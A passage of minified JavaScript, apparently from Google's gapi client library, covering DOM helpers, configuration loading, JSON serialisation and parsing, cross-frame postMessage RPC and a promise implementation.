c=String(b[0]),d=b[1];if(!Hc&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',_.Dc(d.name),'"');if(d.type){c.push(' type="',_.Dc(d.type),'"');var e={};_.Gb(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&(_.u(d)?c.className=d:_.Oa(d)?c.className=d.join(" "):_.xd(c,d));2<b.length&&yd(a,c,b,2);return c}; yd=function(a,b,c,d){function e(c){c&&b.appendChild(_.u(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];!_.Wa(f)||_.Ya(f)&&0<f.nodeType?e(f):(0,_.lb)(Ad(f)?_.uc(f):f,e)}};_.Bd=function(a){return window.document.createElement(String(a))};_.Dd=function(a){if(1!=a.nodeType)return!1;switch(a.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0}; _.Ed=function(a,b){yd(_.sd(a),a,arguments,1)};_.Fd=function(a){for(var b;b=a.firstChild;)a.removeChild(b)};_.Gd=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b)};_.Hd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null};_.Id=function(a){var b,c=a.parentNode;if(c&&11!=c.nodeType){if(a.removeNode)return a.removeNode(!1);for(;b=a.firstChild;)c.insertBefore(b,a);return _.Hd(a)}}; _.Jd=function(a){return Ic&&void 0!=a.children?a.children:(0,_.mb)(a.childNodes,function(a){return 1==a.nodeType})};_.Kd=function(a){return _.Ya(a)&&1==a.nodeType};_.Ld=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.sd=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document}; _.Md=function(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeType)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.Fd(a),a.appendChild(_.sd(a).createTextNode(String(b)))};Ad=function(a){if(a&&"number"==typeof a.length){if(_.Ya(a))return"function"==typeof a.item||"string"==typeof a.item;if(_.Xa(a))return"function"==typeof a.item}return!1}; _.rd=function(a){this.Va=a||_.m.document||window.document};_.g=_.rd.prototype;_.g.Ea=_.td;_.g.RC=_.ea(0);_.g.mb=function(){return this.Va};_.g.S=function(a){return _.ud(this.Va,a)};_.g.getElementsByTagName=function(a,b){return(b||this.Va).getElementsByTagName(String(a))};_.g.ma=function(a,b,c){return _.zd(this.Va,arguments)};_.g.createElement=function(a){return this.Va.createElement(String(a))};_.g.createTextNode=function(a){return this.Va.createTextNode(String(a))}; _.g.vb=function(){var a=this.Va;return a.parentWindow||a.defaultView};_.g.appendChild=function(a,b){a.appendChild(b)};_.g.append=_.Ed;_.g.canHaveChildren=_.Dd;_.g.xe=_.Fd;_.g.GI=_.Gd;_.g.removeNode=_.Hd;_.g.qR=_.Id;_.g.xz=_.Jd;_.g.isElement=_.Kd;_.g.contains=_.Ld;_.g.Eh=_.ea(1); /* gapi.loader.OBJECT_CREATE_TEST_OVERRIDE &&*/ _.Nd=window;_.Qd=window.document;_.Rd=_.Nd.location;_.Sd=/\[native code\]/;_.Td=function(a,b,c){return a[b]=a[b]||c};_.D=function(){var a;if((a=Object.create)&&_.Sd.test(a))a=a(null);else{a={};for(var b in a)a[b]=void 0}return a};_.Ud=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};_.Vd=function(a,b){a=a||{};for(var c in a)_.Ud(a,c)&&(b[c]=a[c])};_.Wd=_.Td(_.Nd,"gapi",{}); _.Xd=function(a,b,c){var d=new RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=new RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(d.exec(a)||b.exec(a)))try{c=(0,window.decodeURIComponent)(a[2])}catch(e){}return c};_.Yd=new RegExp(/^/.source+/([a-zA-Z][-+.a-zA-Z0-9]*:)?/.source+/(\/\/[^\/?#]*)?/.source+/([^?#]*)?/.source+/(\?([^#]*))?/.source+/(#((#|[^#])*))?/.source+/$/.source); _.Zd=new RegExp(/(%([^0-9a-fA-F%]|[0-9a-fA-F]([^0-9a-fA-F%])?)?)*/.source+/%($|[^0-9a-fA-F]|[0-9a-fA-F]($|[^0-9a-fA-F]))/.source,"g");_.$d=new RegExp(/\/?\??#?/.source+"("+/[\/?#]/i.source+"|"+/[\uD800-\uDBFF]/i.source+"|"+/%[c-f][0-9a-f](%[89ab][0-9a-f]){0,2}(%[89ab]?)?/i.source+"|"+/%[0-9a-f]?/i.source+")$","i"); _.be=function(a,b,c){_.ae(a,b,c,"add","at")};_.ae=function(a,b,c,d,e){if(a[d+"EventListener"])a[d+"EventListener"](b,c,!1);else if(a[e+"tachEvent"])a[e+"tachEvent"]("on"+b,c)};_.ce=_.Td(_.Nd,"___jsl",_.D());_.Td(_.ce,"I",0);_.Td(_.ce,"hel",10);var ee,fe,ge,he,ie,je,ke;ee=function(a){var b=window.___jsl=window.___jsl||{};b[a]=b[a]||[];return b[a]};fe=function(a){var b=window.___jsl=window.___jsl||{};b.cfg=!a&&b.cfg||{};return b.cfg};ge=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)}; he=function(a,b,c){if(b&&"object"===typeof b)for(var d in b)!Object.prototype.hasOwnProperty.call(b,d)||c&&"___goc"===d&&"undefined"===typeof b[d]||(a[d]&&b[d]&&"object"===typeof a[d]&&"object"===typeof b[d]&&!ge(a[d])&&!ge(b[d])?he(a[d],b[d]):b[d]&&"object"===typeof b[d]?(a[d]=ge(b[d])?[]:{},he(a[d],b[d])):a[d]=b[d])}; ie=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);try{var b=window.JSON.parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(c){}return"object"===typeof b?b:{}}}; je=function(a,b){var c={___goc:void 0};a.length&&a[a.length-1]&&Object.hasOwnProperty.call(a[a.length-1],"___goc")&&"undefined"===typeof a[a.length-1].___goc&&(c=a.pop());he(c,b);a.push(c)}; ke=function(a){fe(!0);var b=window.___gcfg,c=ee("cu"),d=window.___gu;b&&b!==d&&(je(c,b),window.___gu=b);b=ee("cu");var e=window.document.scripts||window.document.getElementsByTagName("script")||[];d=[];var f=[];f.push.apply(f,ee("us"));for(var h=0;h<e.length;++h)for(var k=e[h],l=0;l<f.length;++l)k.src&&0==k.src.indexOf(f[l])&&d.push(k);0==d.length&&0<e.length&&e[e.length-1].src&&d.push(e[e.length-1]);for(e=0;e<d.length;++e)d[e].getAttribute("gapi_processed")||(d[e].setAttribute("gapi_processed",!0), (f=d[e])?(h=f.nodeType,f=3==h||4==h?f.nodeValue:f.textContent||f.innerText||f.innerHTML||""):f=void 0,(f=ie(f))&&b.push(f));a&&je(c,a);d=ee("cd");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);d=ee("ci");a=0;for(b=d.length;a<b;++a)he(fe(),d[a],!0);a=0;for(b=c.length;a<b;++a)he(fe(),c[a],!0)};_.H=function(a,b){var c=fe();if(!a)return c;a=a.split("/");for(var d=0,e=a.length;c&&"object"===typeof c&&d<e;++d)c=c[a[d]];return d===a.length&&void 0!==c?c:b}; _.le=function(a,b){var c;if("string"===typeof a){var d=c={};a=a.split("/");for(var e=0,f=a.length;e<f-1;++e){var h={};d=d[a[e]]=h}d[a[e]]=b}else c=a;ke(c)}; var me=function(){var a=window.__GOOGLEAPIS;a&&(a.googleapis&&!a["googleapis.config"]&&(a["googleapis.config"]=a.googleapis),_.Td(_.ce,"ci",[]).push(a),window.__GOOGLEAPIS=void 0)};me&&me();ke();_.w("gapi.config.get",_.H);_.w("gapi.config.update",_.le); _.ne=function(a,b){var c=b||window.document;if(c.getElementsByClassName)a=c.getElementsByClassName(a)[0];else{c=window.document;var d=b||c;a=d.querySelectorAll&&d.querySelector&&a?d.querySelector(a?"."+a:""):_.vd(c,"*",a,b)[0]||null}return a||null}; var xe,ye,ze,Ae,Be,Ce,De,Ee,Fe,Ge,He,Ie,Je,Ke,Le,Me,Ne,Oe,Pe,Qe,Re,Se,Te,Ue,Ve,We,Xe,Ze,$e,af,bf,ef,ff;ze=void 0;Ae=function(a){try{return _.m.JSON.parse.call(_.m.JSON,a)}catch(b){return!1}};Be=function(a){return Object.prototype.toString.call(a)};Ce=Be(0);De=Be(new Date(0));Ee=Be(!0);Fe=Be("");Ge=Be({});He=Be([]); Ie=function(a,b){if(b)for(var c=0,d=b.length;c<d;++c)if(a===b[c])throw new TypeError("Converting circular structure to JSON");d=typeof a;if("undefined"!==d){c=Array.prototype.slice.call(b||[],0);c[c.length]=a;b=[];var e=Be(a);if(null!=a&&"function"===typeof a.toJSON&&(Object.prototype.hasOwnProperty.call(a,"toJSON")||(e!==He||a.constructor!==Array&&a.constructor!==Object)&&(e!==Ge||a.constructor!==Array&&a.constructor!==Object)&&e!==Fe&&e!==Ce&&e!==Ee&&e!==De))return Ie(a.toJSON.call(a),c);if(null== a)b[b.length]="null";else if(e===Ce)a=Number(a),(0,window.isNaN)(a)||(0,window.isNaN)(a-a)?a="null":-0===a&&0>1/a&&(a="-0"),b[b.length]=String(a);else if(e===Ee)b[b.length]=String(!!Number(a));else{if(e===De)return Ie(a.toISOString.call(a),c);if(e===He&&Be(a.length)===Ce){b[b.length]="[";var f=0;for(d=Number(a.length)>>0;f<d;++f)f&&(b[b.length]=","),b[b.length]=Ie(a[f],c)||"null";b[b.length]="]"}else if(e==Fe&&Be(a.length)===Ce){b[b.length]='"';f=0;for(c=Number(a.length)>>0;f<c;++f)d=String.prototype.charAt.call(a, f),e=String.prototype.charCodeAt.call(a,f),b[b.length]="\b"===d?"\\b":"\f"===d?"\\f":"\n"===d?"\\n":"\r"===d?"\\r":"\t"===d?"\\t":"\\"===d||'"'===d?"\\"+d:31>=e?"\\u"+(e+65536).toString(16).substr(1):32<=e&&65535>=e?d:"\ufffd";b[b.length]='"'}else if("object"===d){b[b.length]="{";d=0;for(f in a)Object.prototype.hasOwnProperty.call(a,f)&&(e=Ie(a[f],c),void 0!==e&&(d++&&(b[b.length]=","),b[b.length]=Ie(f),b[b.length]=":",b[b.length]=e));b[b.length]="}"}else return}return b.join("")}};Je=/[\0-\x07\x0b\x0e-\x1f]/; Ke=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*[\0-\x1f]/;Le=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\[^\\\/"bfnrtu]/;Me=/^([^"]*"([^\\"]|\\.)*")*[^"]*"([^"\\]|\\.)*\\u([0-9a-fA-F]{0,3}[^0-9a-fA-F])/;Ne=/"([^\0-\x1f\\"]|\\[\\\/"bfnrt]|\\u[0-9a-fA-F]{4})*"/g;Oe=/-?(0|[1-9][0-9]*)(\.[0-9]+)?([eE][-+]?[0-9]+)?/g;Pe=/[ \t\n\r]+/g;Qe=/[^"]:/;Re=/""/g;Se=/true|false|null/g;Te=/00/;Ue=/[\{]([^0\}]|0[^:])/;Ve=/(^|\[)[,:]|[,:](\]|\}|[,:]|$)/;We=/[^\[,:][\[\{]/;Xe=/^(\{|\}|\[|\]|,|:|0)+/;Ze=/\u2028/g; $e=/\u2029/g; af=function(a){a=String(a);if(Je.test(a)||Ke.test(a)||Le.test(a)||Me.test(a))return!1;var b=a.replace(Ne,'""');b=b.replace(Oe,"0");b=b.replace(Pe,"");if(Qe.test(b))return!1;b=b.replace(Re,"0");b=b.replace(Se,"0");if(Te.test(b)||Ue.test(b)||Ve.test(b)||We.test(b)||!b||(b=b.replace(Xe,"")))return!1;a=a.replace(Ze,"\\u2028").replace($e,"\\u2029");b=void 0;try{b=ze?[Ae(a)]:eval("(function (var_args) {\n return Array.prototype.slice.call(arguments, 0);\n})(\n"+a+"\n)")}catch(c){return!1}return b&&1=== b.length?b[0]:!1};bf=function(){var a=((_.m.document||{}).scripts||[]).length;if((void 0===xe||void 0===ze||ye!==a)&&-1!==ye){xe=ze=!1;ye=-1;try{try{ze=!!_.m.JSON&&'{"a":[3,true,"1970-01-01T00:00:00.000Z"]}'===_.m.JSON.stringify.call(_.m.JSON,{a:[3,!0,new Date(0)],c:function(){}})&&!0===Ae("true")&&3===Ae('[{"a":3}]')[0].a}catch(b){}xe=ze&&!Ae("[00]")&&!Ae('"\u0007"')&&!Ae('"\\0"')&&!Ae('"\\v"')}finally{ye=a}}};_.cf=function(a){if(-1===ye)return!1;bf();return(xe?Ae:af)(a)}; _.df=function(a){if(-1!==ye)return bf(),ze?_.m.JSON.stringify.call(_.m.JSON,a):Ie(a)};ef=!Date.prototype.toISOString||"function"!==typeof Date.prototype.toISOString||"1970-01-01T00:00:00.000Z"!==(new Date(0)).toISOString(); ff=function(){var a=Date.prototype.getUTCFullYear.call(this);return[0>a?"-"+String(1E6-a).substr(1):9999>=a?String(1E4+a).substr(1):"+"+String(1E6+a).substr(1),"-",String(101+Date.prototype.getUTCMonth.call(this)).substr(1),"-",String(100+Date.prototype.getUTCDate.call(this)).substr(1),"T",String(100+Date.prototype.getUTCHours.call(this)).substr(1),":",String(100+Date.prototype.getUTCMinutes.call(this)).substr(1),":",String(100+Date.prototype.getUTCSeconds.call(this)).substr(1),".",String(1E3+Date.prototype.getUTCMilliseconds.call(this)).substr(1), "Z"].join("")};Date.prototype.toISOString=ef?ff:Date.prototype.toISOString; _.w("gadgets.json.stringify",_.df);_.w("gadgets.json.parse",_.cf); _.Xj=window.gapi&&window.gapi.util||{}; _.Zj=function(a){if(!a)return"";a=a.split("#")[0].split("?")[0];a=a.toLowerCase();0==a.indexOf("//")&&(a=window.location.protocol+a);/^[\w\-]*:\/\//.test(a)||(a=window.location.href);var b=a.substring(a.indexOf("://")+3),c=b.indexOf("/");-1!=c&&(b=b.substring(0,c));a=a.substring(0,a.indexOf("://"));if("http"!==a&&"https"!==a&&"chrome-extension"!==a&&"file"!==a&&"android-app"!==a&&"chrome-search"!==a&&"app"!==a)throw Error("L`"+a);c="";var d=b.indexOf(":");if(-1!=d){var e=b.substring(d+1);b=b.substring(0, d);if("http"===a&&"80"!==e||"https"===a&&"443"!==e)c=":"+e}return a+"://"+b+c}; _.Xj.Qa=function(a){return _.Zj(a)}; _.qe=window.console;_.ue=function(a){_.qe&&_.qe.log&&_.qe.log(a)};_.ve=function(){}; _.I=_.I||{}; _.I=_.I||{}; (function(){var a=null;_.I.xc=function(b){var c="undefined"===typeof b;if(null!==a&&c)return a;var d={};b=b||window.location.href;var e=b.indexOf("?"),f=b.indexOf("#");b=(-1===f?b.substr(e+1):[b.substr(e+1,f-e-1),"&",b.substr(f+1)].join("")).split("&");e=window.decodeURIComponent?window.decodeURIComponent:window.unescape;f=0;for(var h=b.length;f<h;++f){var k=b[f].indexOf("=");if(-1!==k){var l=b[f].substring(0,k);k=b[f].substring(k+1);k=k.replace(/\+/g," ");try{d[l]=e(k)}catch(n){}}}c&&(a=d);return d}; _.I.xc()})(); _.w("gadgets.util.getUrlParameters",_.I.xc); _.Xd(_.Nd.location.href,"rpctoken")&&_.be(_.Qd,"unload",function(){}); var dm=function(){this.$r={tK:Xl?"../"+Xl:null,NQ:Yl,GH:Zl,C9:$l,eu:am,l$:bm};this.Ee=_.Nd;this.gK=this.JQ;this.tR=/MSIE\s*[0-8](\D|$)/.test(window.navigator.userAgent);if(this.$r.tK){this.Ee=this.$r.GH(this.Ee,this.$r.tK);var a=this.Ee.document,b=a.createElement("script");b.setAttribute("type","text/javascript");b.text="window.doPostMsg=function(w,s,o) {window.setTimeout(function(){w.postMessage(s,o);},0);};";a.body.appendChild(b);this.gK=this.Ee.doPostMsg}this.kD={};this.FD={};a=(0,_.A)(this.hA, this);_.be(this.Ee,"message",a);_.Td(_.ce,"RPMQ",[]).push(a);this.Ee!=this.Ee.parent&&cm(this,this.Ee.parent,'{"h":"'+(0,window.escape)(this.Ee.name)+'"}',"*")},em=function(a){var b=null;0===a.indexOf('{"h":"')&&a.indexOf('"}')===a.length-2&&(b=(0,window.unescape)(a.substring(6,a.length-2)));return b},fm=function(a){if(!/^\s*{/.test(a))return!1;a=_.cf(a);return null!==a&&"object"===typeof a&&!!a.g}; dm.prototype.hA=function(a){var b=String(a.data);(0,_.ve)("gapi.rpc.receive("+$l+"): "+(!b||512>=b.length?b:b.substr(0,512)+"... ("+b.length+" bytes)"));var c=0!==b.indexOf("!_");c||(b=b.substring(2));var d=fm(b);if(!c&&!d){if(!d&&(c=em(b))){if(this.kD[c])this.kD[c]();else this.FD[c]=1;return}var e=a.origin,f=this.$r.NQ;this.tR?_.Nd.setTimeout(function(){f(b,e)},0):f(b,e)}};dm.prototype.Dc=function(a,b){".."===a||this.FD[a]?(b(),delete this.FD[a]):this.kD[a]=b}; var cm=function(a,b,c,d){var e=fm(c)?"":"!_";(0,_.ve)("gapi.rpc.send("+$l+"): "+(!c||512>=c.length?c:c.substr(0,512)+"... ("+c.length+" bytes)"));a.gK(b,e+c,d)};dm.prototype.JQ=function(a,b,c){a.postMessage(b,c)};dm.prototype.send=function(a,b,c){(a=this.$r.GH(this.Ee,a))&&!a.closed&&cm(this,a,b,c)}; var gm,hm,im,jm,km,lm,mm,nm,Xl,$l,om,pm,qm,rm,Zl,am,sm,tm,ym,zm,Bm,bm,Dm,Cm,um,vm,Em,Yl,Fm,Gm;gm=0;hm=[];im={};jm={};km=_.I.xc;lm=km();mm=lm.rpctoken;nm=lm.parent||_.Qd.referrer;Xl=lm.rly;$l=Xl||(_.Nd!==_.Nd.top||_.Nd.opener)&&_.Nd.name||"..";om=null;pm={};qm=function(){};rm={send:qm,Dc:qm}; Zl=function(a,b){"/"==b.charAt(0)&&(b=b.substring(1),a=_.Nd.top);for(b=b.split("/");b.length;){var c=b.shift();"{"==c.charAt(0)&&"}"==c.charAt(c.length-1)&&(c=c.substring(1,c.length-1));if(".."===c)a=a==a.parent?a.opener:a.parent;else if(".."!==c&&a.frames[c]){if(a=a.frames[c],!("postMessage"in a))throw"Not a window";}else return null}return a};am=function(a){return(a=im[a])&&a.zk}; sm=function(a){if(a.f in{})return!1;var b=a.t,c=im[a.r];a=a.origin;return c&&(c.zk===b||!c.zk&&!b)&&(a===c.origin||"*"===c.origin)};tm=function(a){var b=a.id.split("/"),c=b[b.length-1],d=a.origin;return function(a){var b=a.origin;return a.f==c&&(d==b||"*"==d)}};_.wm=function(a,b,c){a=um(a);jm[a.name]={Lg:b,Nq:a.Nq,zo:c||sm};vm()};_.xm=function(a){delete jm[um(a).name]};ym={};zm=function(a,b){(a=ym["_"+a])&&a[1](this)&&a[0].call(this,b)}; Bm=function(a){var b=a.c;if(!b)return qm;var c=a.r,d=a.g?"legacy__":"";return function(){var a=[].slice.call(arguments,0);a.unshift(c,d+"__cb",null,b);_.Am.apply(null,a)}};bm=function(a){om=a};Dm=function(a){pm[a]||(pm[a]=_.Nd.setTimeout(function(){pm[a]=!1;Cm(a)},0))};Cm=function(a){var b=im[a];if(b&&b.ready){var c=b.dC;for(b.dC=[];c.length;)rm.send(a,_.df(c.shift()),b.origin)}};um=function(a){return 0===a.indexOf("legacy__")?{name:a.substring(8),Nq:!0}:{name:a,Nq:!1}}; vm=function(){for(var a=_.H("rpc/residenceSec")||60,b=(new Date).getTime()/1E3,c=0,d;d=hm[c];++c){var e=d.hm;if(!e||0<a&&b-d.timestamp>a)hm.splice(c,1),--c;else{var f=e.s,h=jm[f]||jm["*"];if(h)if(hm.splice(c,1),--c,e.origin=d.origin,d=Bm(e),e.callback=d,h.zo(e)){if("__cb"!==f&&!!h.Nq!=!!e.g)break;e=h.Lg.apply(e,e.a);void 0!==e&&d(e)}else(0,_.ve)("gapi.rpc.rejected("+$l+"): "+f)}}};Em=function(a,b,c){hm.push({hm:a,origin:b,timestamp:(new Date).getTime()/1E3});c||vm()}; Yl=function(a,b){a=_.cf(a);Em(a,b,!1)};Fm=function(a){for(;a.length;)Em(a.shift(),this.origin,!0);vm()};Gm=function(a){var b=!1;a=a.split("|");var c=a[0];0<=c.indexOf("/")&&(b=!0);return{id:c,origin:a[1]||"*",QA:b}}; _.Hm=function(a,b,c,d){var e=Gm(a);d&&(_.Nd.frames[e.id]=_.Nd.frames[e.id]||d);a=e.id;if(!im.hasOwnProperty(a)){c=c||null;d=e.origin;if(".."===a)d=_.Xj.Qa(nm),c=c||mm;else if(!e.QA){var f=_.Qd.getElementById(a);f&&(f=f.src,d=_.Xj.Qa(f),c=c||km(f).rpctoken)}"*"===e.origin&&d||(d=e.origin);im[a]={zk:c,dC:[],origin:d,xY:b,mK:function(){var b=a;im[b].ready=1;Cm(b)}};rm.Dc(a,im[a].mK)}return im[a].mK}; _.Am=function(a,b,c,d){a=a||"..";_.Hm(a);a=a.split("|",1)[0];var e=b,f=[].slice.call(arguments,3),h=c,k=$l,l=mm,n=im[a],p=k,q=Gm(a);if(n&&".."!==a){if(q.QA){if(!(l=im[a].xY)){l=om?om.substring(1).split("/"):[$l];p=l.length-1;for(var t=_.Nd.parent;t!==_.Nd.top;){var x=t.parent;if(!p--){for(var v=null,y=x.frames.length,F=0;F<y;++F)x.frames[F]==t&&(v=F);l.unshift("{"+v+"}")}t=x}l="/"+l.join("/")}p=l}else p=k="..";l=n.zk}h&&q?(n=sm,q.QA&&(n=tm(q)),ym["_"+ ++gm]=[h,n],h=gm):h=null;f={s:e,f:k,r:p,t:l,c:h, a:f};e=um(e);f.s=e.name;f.g=e.Nq;im[a].dC.push(f);Dm(a)};if("function"===typeof _.Nd.postMessage||"object"===typeof _.Nd.postMessage)rm=new dm,_.wm("__cb",zm,function(){return!0}),_.wm("_processBatch",Fm,function(){return!0}),_.Hm(".."); _.Of=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};_.Pf=function(a,b){a:{for(var c=a.length,d=_.u(a)?a.split(""):a,e=0;e<c;e++)if(e in d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:_.u(a)?a.charAt(b):a[b]};_.Qf=[];_.Rf=[];_.Sf=!1;_.Tf=function(a){_.Qf[_.Qf.length]=a;if(_.Sf)for(var b=0;b<_.Rf.length;b++)a((0,_.A)(_.Rf[b].wrap,_.Rf[b]))}; _.Hg=function(a){return function(){return a}}(!0); var Ng;_.Ig=function(a){if(Error.captureStackTrace)Error.captureStackTrace(this,_.Ig);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))};_.z(_.Ig,Error);_.Ig.prototype.name="CustomError";_.Jg=function(a,b){for(var c in a)if(!(c in b)||a[c]!==b[c])return!1;for(c in b)if(!(c in a))return!1;return!0};_.Kg=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.Lg=function(a,b){a.src=_.Sc(b)};_.Mg=function(a){return a};Ng=function(a,b){this.FQ=a;this.lY=b;this.mv=0;this.Pe=null}; Ng.prototype.get=function(){if(0<this.mv){this.mv--;var a=this.Pe;this.Pe=a.next;a.next=null}else a=this.FQ();return a};Ng.prototype.put=function(a){this.lY(a);100>this.mv&&(this.mv++,a.next=this.Pe,this.Pe=a)}; var Og,Qg,Rg,Pg;Og=function(a){_.m.setTimeout(function(){throw a;},0)};_.Sg=function(a){a=Pg(a);!_.Xa(_.m.setImmediate)||_.m.Window&&_.m.Window.prototype&&!_.Db("Edge")&&_.m.Window.prototype.setImmediate==_.m.setImmediate?(Qg||(Qg=Rg()),Qg(a)):_.m.setImmediate(a)}; Rg=function(){var a=_.m.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&!_.Db("Presto")&&(a=function(){var a=window.document.createElement("IFRAME");a.style.display="none";a.src="";window.document.documentElement.appendChild(a);var b=a.contentWindow;a=b.document;a.open();a.write("");a.close();var c="callImmediate"+Math.random(),d="file:"==b.location.protocol?"*":b.location.protocol+"//"+b.location.host;a=(0,_.A)(function(a){if(("*"== d||a.origin==d)&&a.data==c)this.port1.onmessage()},this);b.addEventListener("message",a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a&&!_.Ib()){var b=new a,c={},d=c;b.port1.onmessage=function(){if(_.r(c.next)){c=c.next;var a=c.cb;c.cb=null;a()}};return function(a){d.next={cb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof window.document&&"onreadystatechange"in window.document.createElement("SCRIPT")?function(a){var b=window.document.createElement("SCRIPT"); b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b);b=null;a();a=null};window.document.documentElement.appendChild(b)}:function(a){_.m.setTimeout(a,0)}};Pg=_.Mg;_.Tf(function(a){Pg=a}); var Tg=function(){this.Ow=this.Co=null},Vg=new Ng(function(){return new Ug},function(a){a.reset()});Tg.prototype.add=function(a,b){var c=Vg.get();c.set(a,b);this.Ow?this.Ow.next=c:this.Co=c;this.Ow=c};Tg.prototype.remove=function(){var a=null;this.Co&&(a=this.Co,this.Co=this.Co.next,this.Co||(this.Ow=null),a.next=null);return a};var Ug=function(){this.next=this.scope=this.Lg=null};Ug.prototype.set=function(a,b){this.Lg=a;this.scope=b;this.next=null}; Ug.prototype.reset=function(){this.next=this.scope=this.Lg=null}; var Wg,Xg,Yg,Zg,ah;_.$g=function(a,b){Wg||Xg();Yg||(Wg(),Yg=!0);Zg.add(a,b)};Xg=function(){if(-1!=String(_.m.Promise).indexOf("[native code]")){var a=_.m.Promise.resolve(void 0);Wg=function(){a.then(ah)}}else Wg=function(){_.Sg(ah)}};Yg=!1;Zg=new Tg;ah=function(){for(var a;a=Zg.remove();){try{a.Lg.call(a.scope)}catch(b){Og(b)}Vg.put(a)}Yg=!1}; _.bh=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0};_.ch=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var eh,fh,ph,nh;_.dh=function(a,b){this.Da=0;this.Si=void 0;this.Tm=this.yj=this.hb=null;this.iu=this.bz=!1;if(a!=_.Va)try{var c=this;a.call(b,function(a){c.Xg(2,a)},function(a){c.Xg(3,a)})}catch(d){this.Xg(3,d)}};eh=function(){this.next=this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};eh.prototype.reset=function(){this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};fh=new Ng(function(){return new eh},function(a){a.reset()});_.gh=function(a,b,c){var d=fh.get();d.Yq=a;d.On=b;d.context=c;return d}; _.hh=function(a){if(a instanceof _.dh)return a;var b=new _.dh(_.Va);b.Xg(2,a);return b};_.ih=function(a){return new _.dh(function(b,c){c(a)})};_.kh=function(a,b,c){jh(a,b,c,null)||_.$g(_.Of(b,a))};_.mh=function(){var a,b,c=new _.dh(function(c,e){a=c;b=e});return new lh(c,a,b)};_.dh.prototype.then=function(a,b,c){return nh(this,_.Xa(a)?a:null,_.Xa(b)?b:null,c)};_.bh(_.dh);_.dh.prototype.Aw=function(a,b){return nh(this,null,a,b)}; _.dh.prototype.cancel=function(a){0==this.Da&&_.$g(function(){var b=new oh(a);ph(this,b)},this)};ph=function(a,b){if(0==a.Da)if(a.hb){var c=a.hb;if(c.yj){for(var d=0,e=null,f=null,h=c.yj;h&&(h.Wo||(d++,h.Ok==a&&(e=h),!(e&&1<d)));h=h.next)e||(f=h);e&&(0==c.Da&&1==d?ph(c,b):(f?(d=f,d.next==c.Tm&&(c.Tm=d),d.next=d.next.next):qh(c),rh(c,e,3,b)))}a.hb=null}else a.Xg(3,b)};_.th=function(a,b){a.yj||2!=a.Da&&3!=a.Da||sh(a);a.Tm?a.Tm.next=b:a.yj=b;a.Tm=b}; nh=function(a,b,c,d){var e=_.gh(null,null,null);e.Ok=new _.dh(function(a,h){e.Yq=b?function(c){try{var e=b.call(d,c);a(e)}catch(n){h(n)}}:a;e.On=c?function(b){try{var e=c.call(d,b);!_.r(e)&&b instanceof oh?h(b):a(e)}catch(n){h(n)}}:h});e.Ok.hb=a;_.th(a,e);return e.Ok};_.dh.prototype.z_=function(a){this.Da=0;this.Xg(2,a)};_.dh.prototype.A_=function(a){this.Da=0;this.Xg(3,a)}; _.dh.prototype.Xg=function(a,b){0==this.Da&&(this===b&&(a=3,b=new TypeError("Promise cannot resolve to itself")),this.Da=1,jh(b,this.z_,this.A_,this)||(this.Si=b,this.Da=a,this.hb=null,sh(this),3!=a||b instanceof oh||uh(this,b)))}; var jh=function(a,b,c,d){if(a instanceof _.dh)return _.th(a,_.gh(b||_.Va,c||null,d)),!0;if(_.ch(a))return a.then(b,c,d),!0;if(_.Ya(a))try{var e=a.then;if(_.Xa(e))return vh(a,e,b,c,d),!0}catch(f){return c.call(d,f),!0}return!1},vh=function(a,b,c,d,e){var f=!1,h=function(a){f||(f=!0,c.call(e,a))},k=function(a){f||(f=!0,d.call(e,a))};try{b.call(a,h,k)}catch(l){k(l)}},sh=function(a){a.bz||(a.bz=!0,_.$g(a.eR,a))},qh=function(a){var b=null;a.yj&&(b=a.yj,a.yj=b.next,b.next=null);a.yj||(a.Tm=null);return b}; _.dh.prototype.eR=function(){for(var a;a=qh(this);)rh(this,a,this.Da,this.Si);this.bz=!1};var 